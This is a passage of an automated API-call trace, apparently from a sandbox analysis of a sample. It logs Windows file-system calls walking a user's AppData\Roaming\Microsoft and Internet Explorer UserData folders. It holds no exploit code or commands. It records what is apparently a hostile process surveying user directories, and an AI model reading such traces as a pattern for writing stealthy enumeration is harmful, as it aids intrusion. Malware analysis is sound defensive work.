lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1", lpFilePart=0x0) returned 0x33 [0068.709] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.709] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1", lpFilePart=0x0) returned 0x33 [0068.710] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.710] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0", lpFilePart=0x0) returned 0x33 [0068.710] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\imjp9_0"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0", lpFilePart=0x0) returned 0x33 [0068.710] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.710] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0", lpFilePart=0x0) returned 0x33 [0068.710] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.710] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3d [0068.710] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xc490d370, ftLastAccessTime.dwHighDateTime=0x1d2faa1, ftLastWriteTime.dwLowDateTime=0xc490d370, ftLastWriteTime.dwHighDateTime=0x1d2faa1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.710] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3d [0068.710] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.711] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.711] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x4a [0068.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\quick launch"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xc3077460, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xc3077460, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.711] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x4a [0068.711] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.711] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.711] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpFilePart=0x0) returned 0x56 [0068.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.711] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpFilePart=0x0) returned 0x56 [0068.711] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.711] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.711] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpFilePart=0x0) returned 0x6b [0068.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fe5270, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.711] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpFilePart=0x0) returned 0x6b [0068.712] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.712] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.712] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", lpFilePart=0x0) returned 0x6b [0068.712] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.712] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.712] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpFilePart=0x0) returned 0x5e [0068.712] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xe35ab9d0, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0xe35ab9d0, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.712] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpFilePart=0x0) returned 0x5e [0068.712] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.712] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.712] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", lpFilePart=0x0) returned 0x5e [0068.712] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.713] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.713] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", lpFilePart=0x0) returned 0x56 [0068.713] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.713] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.713] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x4a [0068.713] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.713] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.713] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", lpFilePart=0x0) returned 0x46 [0068.713] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\userdata"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc490d370, ftCreationTime.dwHighDateTime=0x1d2faa1, ftLastAccessTime.dwLowDateTime=0xc49334d0, ftLastAccessTime.dwHighDateTime=0x1d2faa1, ftLastWriteTime.dwLowDateTime=0xc49334d0, ftLastWriteTime.dwHighDateTime=0x1d2faa1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.713] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", lpFilePart=0x0) returned 0x46 [0068.713] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.713] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.713] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", lpFilePart=0x0) returned 0x4a [0068.714] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc49334d0, ftCreationTime.dwHighDateTime=0x1d2faa1, ftLastAccessTime.dwLowDateTime=0xc49334d0, ftLastAccessTime.dwHighDateTime=0x1d2faa1, ftLastWriteTime.dwLowDateTime=0xc49334d0, ftLastWriteTime.dwHighDateTime=0x1d2faa1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.714] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", lpFilePart=0x0) returned 0x4a [0068.714] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.714] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.714] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG", lpFilePart=0x0) returned 0x53 [0068.714] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\0fhkrmgg"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc49334d0, ftCreationTime.dwHighDateTime=0x1d2faa1, ftLastAccessTime.dwLowDateTime=0xc49334d0, ftLastAccessTime.dwHighDateTime=0x1d2faa1, ftLastWriteTime.dwLowDateTime=0xc49334d0, ftLastWriteTime.dwHighDateTime=0x1d2faa1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.714] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG", lpFilePart=0x0) returned 0x53 [0068.714] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.714] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.714] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG", lpFilePart=0x0) returned 0x53 [0068.714] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\0FHKRMGG\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.714] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.714] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6", lpFilePart=0x0) returned 0x53 [0068.714] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\34yfiti6"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc49334d0, ftCreationTime.dwHighDateTime=0x1d2faa1, ftLastAccessTime.dwLowDateTime=0xc49334d0, ftLastAccessTime.dwHighDateTime=0x1d2faa1, ftLastWriteTime.dwLowDateTime=0xc49334d0, ftLastWriteTime.dwHighDateTime=0x1d2faa1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6", lpFilePart=0x0) returned 0x53 [0068.715] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.715] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6", lpFilePart=0x0) returned 0x53 [0068.715] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\34YFITI6\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.715] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6", lpFilePart=0x0) returned 0x53 [0068.715] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\4ert46z6"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc49334d0, ftCreationTime.dwHighDateTime=0x1d2faa1, ftLastAccessTime.dwLowDateTime=0xc49334d0, ftLastAccessTime.dwHighDateTime=0x1d2faa1, ftLastWriteTime.dwLowDateTime=0xc49334d0, ftLastWriteTime.dwHighDateTime=0x1d2faa1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6", lpFilePart=0x0) returned 0x53 [0068.715] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.715] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.715] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6", lpFilePart=0x0) returned 0x53 [0068.715] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\4ERT46Z6\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8ac0 [0068.715] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.716] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1", lpFilePart=0x0) returned 0x53 [0068.716] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\5XG08RN1" (normalized: 